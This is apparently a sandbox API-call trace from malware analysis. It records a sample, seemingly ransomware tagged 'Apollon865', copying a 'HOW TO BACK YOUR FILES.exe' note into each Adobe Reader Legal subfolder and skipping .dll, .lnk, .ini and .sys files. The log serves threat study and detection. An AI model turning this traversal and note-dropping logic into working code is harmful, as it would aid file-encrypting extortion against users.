	[0060.088] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.088] lstrlenW (lpString="eula.ini") returned 8
	[0060.088] lstrlenW (lpString="Apollon865") returned 10
	[0060.088] lstrlenW (lpString=".dll") returned 4
	[0060.088] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.088] lstrlenW (lpString=".lnk") returned 4
	[0060.088] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.088] lstrlenW (lpString=".ini") returned 4
	[0060.088] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.088] lstrlenW (lpString=".sys") returned 4
	[0060.088] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.088] lstrlenW (lpString="eula.ini") returned 8
	[0060.088] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.088] lstrlenW (lpString="license.html") returned 12
	[0060.088] lstrlenW (lpString="Apollon865") returned 10
	[0060.088] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.088] lstrlenW (lpString=".dll") returned 4
	[0060.088] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.088] lstrlenW (lpString=".lnk") returned 4
	[0060.088] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.088] lstrlenW (lpString=".ini") returned 4
	[0060.088] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.088] lstrlenW (lpString=".sys") returned 4
	[0060.088] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.088] lstrlenW (lpString="license.html") returned 12
	[0060.088] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR"
	[0060.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591ec0 | out: hHeap=0x580000) returned 1
	[0060.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0060.089] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR") returned 57
	[0060.089] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR"
	[0060.089] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.089] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.098] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.098] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3be52470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3be52470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.098] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.098] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.098] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.098] lstrlenW (lpString="eula.ini") returned 8
	[0060.098] lstrlenW (lpString="Apollon865") returned 10
	[0060.098] lstrlenW (lpString=".dll") returned 4
	[0060.098] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.098] lstrlenW (lpString=".lnk") returned 4
	[0060.098] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.098] lstrlenW (lpString=".ini") returned 4
	[0060.098] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.098] lstrlenW (lpString=".sys") returned 4
	[0060.098] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.098] lstrlenW (lpString="eula.ini") returned 8
	[0060.099] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.099] lstrlenW (lpString="license.html") returned 12
	[0060.099] lstrlenW (lpString="Apollon865") returned 10
	[0060.099] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.099] lstrlenW (lpString=".dll") returned 4
	[0060.099] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.099] lstrlenW (lpString=".lnk") returned 4
	[0060.099] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.099] lstrlenW (lpString=".ini") returned 4
	[0060.099] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.099] lstrlenW (lpString=".sys") returned 4
	[0060.099] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.099] lstrlenW (lpString="license.html") returned 12
	[0060.099] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN"
	[0060.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591e40 | out: hHeap=0x580000) returned 1
	[0060.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0060.099] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN") returned 57
	[0060.099] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN"
	[0060.099] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.099] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.103] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.103] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3be52470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3be52470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.103] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.103] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.103] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.103] lstrlenW (lpString="eula.ini") returned 8
	[0060.103] lstrlenW (lpString="Apollon865") returned 10
	[0060.103] lstrlenW (lpString=".dll") returned 4
	[0060.103] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.103] lstrlenW (lpString=".lnk") returned 4
	[0060.103] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.103] lstrlenW (lpString=".ini") returned 4
	[0060.103] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.103] lstrlenW (lpString=".sys") returned 4
	[0060.103] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.103] lstrlenW (lpString="eula.ini") returned 8
	[0060.103] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.103] lstrlenW (lpString="license.html") returned 12
	[0060.103] lstrlenW (lpString="Apollon865") returned 10
	[0060.103] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.104] lstrlenW (lpString=".dll") returned 4
	[0060.104] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.104] lstrlenW (lpString=".lnk") returned 4
	[0060.104] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.104] lstrlenW (lpString=".ini") returned 4
	[0060.104] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.104] lstrlenW (lpString=".sys") returned 4
	[0060.104] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.104] lstrlenW (lpString="license.html") returned 12
	[0060.104] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA"
	[0060.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591dc0 | out: hHeap=0x580000) returned 1
	[0060.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0060.104] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned 57
	[0060.104] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA"
	[0060.104] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.104] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.108] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.108] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3be52470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3be52470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.108] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.108] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.108] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.108] lstrlenW (lpString="eula.ini") returned 8
	[0060.108] lstrlenW (lpString="Apollon865") returned 10
	[0060.108] lstrlenW (lpString=".dll") returned 4
	[0060.108] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.108] lstrlenW (lpString=".lnk") returned 4
	[0060.108] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.108] lstrlenW (lpString=".ini") returned 4
	[0060.109] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.109] lstrlenW (lpString=".sys") returned 4
	[0060.109] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.109] lstrlenW (lpString="eula.ini") returned 8
	[0060.109] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.109] lstrlenW (lpString="license.html") returned 12
	[0060.109] lstrlenW (lpString="Apollon865") returned 10
	[0060.109] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.109] lstrlenW (lpString=".dll") returned 4
	[0060.109] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.109] lstrlenW (lpString=".lnk") returned 4
	[0060.109] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.109] lstrlenW (lpString=".ini") returned 4
	[0060.109] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.109] lstrlenW (lpString=".sys") returned 4
	[0060.109] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.109] lstrlenW (lpString="license.html") returned 12
	[0060.109] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN"
	[0060.109] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591d40 | out: hHeap=0x580000) returned 1
	[0060.109] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0060.109] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned 57
	[0060.109] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN"
	[0060.109] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.115] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.115] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3be785d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3be785d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.116] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.116] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.116] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.116] lstrlenW (lpString="eula.ini") returned 8
	[0060.116] lstrlenW (lpString="Apollon865") returned 10
	[0060.116] lstrlenW (lpString=".dll") returned 4
	[0060.116] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.116] lstrlenW (lpString=".lnk") returned 4
	[0060.116] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.116] lstrlenW (lpString=".ini") returned 4
	[0060.116] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.116] lstrlenW (lpString=".sys") returned 4
	[0060.116] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.116] lstrlenW (lpString="eula.ini") returned 8
	[0060.116] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.116] lstrlenW (lpString="license.html") returned 12
	[0060.116] lstrlenW (lpString="Apollon865") returned 10
	[0060.116] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.116] lstrlenW (lpString=".dll") returned 4
	[0060.116] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.116] lstrlenW (lpString=".lnk") returned 4
	[0060.116] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.116] lstrlenW (lpString=".ini") returned 4
	[0060.116] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.116] lstrlenW (lpString=".sys") returned 4
	[0060.116] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.116] lstrlenW (lpString="license.html") returned 12
	[0060.117] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV"
	[0060.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591cc0 | out: hHeap=0x580000) returned 1
	[0060.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0060.117] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned 57
	[0060.117] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV"
	[0060.117] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.117] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.134] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.134] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3be9e730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3be9e730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.134] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.134] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.135] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.135] lstrlenW (lpString="eula.ini") returned 8
	[0060.135] lstrlenW (lpString="Apollon865") returned 10
	[0060.135] lstrlenW (lpString=".dll") returned 4
	[0060.135] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.135] lstrlenW (lpString=".lnk") returned 4
	[0060.135] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.135] lstrlenW (lpString=".ini") returned 4
	[0060.135] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.135] lstrlenW (lpString=".sys") returned 4
	[0060.135] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.135] lstrlenW (lpString="eula.ini") returned 8
	[0060.135] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.135] lstrlenW (lpString="license.html") returned 12
	[0060.135] lstrlenW (lpString="Apollon865") returned 10
	[0060.135] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.135] lstrlenW (lpString=".dll") returned 4
	[0060.135] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.135] lstrlenW (lpString=".lnk") returned 4
	[0060.135] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.135] lstrlenW (lpString=".ini") returned 4
	[0060.135] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.135] lstrlenW (lpString=".sys") returned 4
	[0060.135] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.135] lstrlenW (lpString="license.html") returned 12
	[0060.135] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA"
	[0060.135] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591c40 | out: hHeap=0x580000) returned 1
	[0060.135] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0060.135] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA") returned 57
	[0060.136] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA"
	[0060.136] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.136] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.144] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.144] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bec4890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bec4890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.144] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.144] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.144] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.144] lstrlenW (lpString="eula.ini") returned 8
	[0060.144] lstrlenW (lpString="Apollon865") returned 10
	[0060.144] lstrlenW (lpString=".dll") returned 4
	[0060.144] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.144] lstrlenW (lpString=".lnk") returned 4
	[0060.144] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.145] lstrlenW (lpString=".ini") returned 4
	[0060.145] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.145] lstrlenW (lpString=".sys") returned 4
	[0060.145] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.145] lstrlenW (lpString="eula.ini") returned 8
	[0060.145] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.145] lstrlenW (lpString="license.html") returned 12
	[0060.145] lstrlenW (lpString="Apollon865") returned 10
	[0060.145] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.145] lstrlenW (lpString=".dll") returned 4
	[0060.145] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.145] lstrlenW (lpString=".lnk") returned 4
	[0060.145] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.145] lstrlenW (lpString=".ini") returned 4
	[0060.145] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.145] lstrlenW (lpString=".sys") returned 4
	[0060.145] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.145] lstrlenW (lpString="license.html") returned 12
	[0060.145] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ"
	[0060.145] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591bc0 | out: hHeap=0x580000) returned 1
	[0060.145] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0060.145] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned 57
	[0060.145] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ"
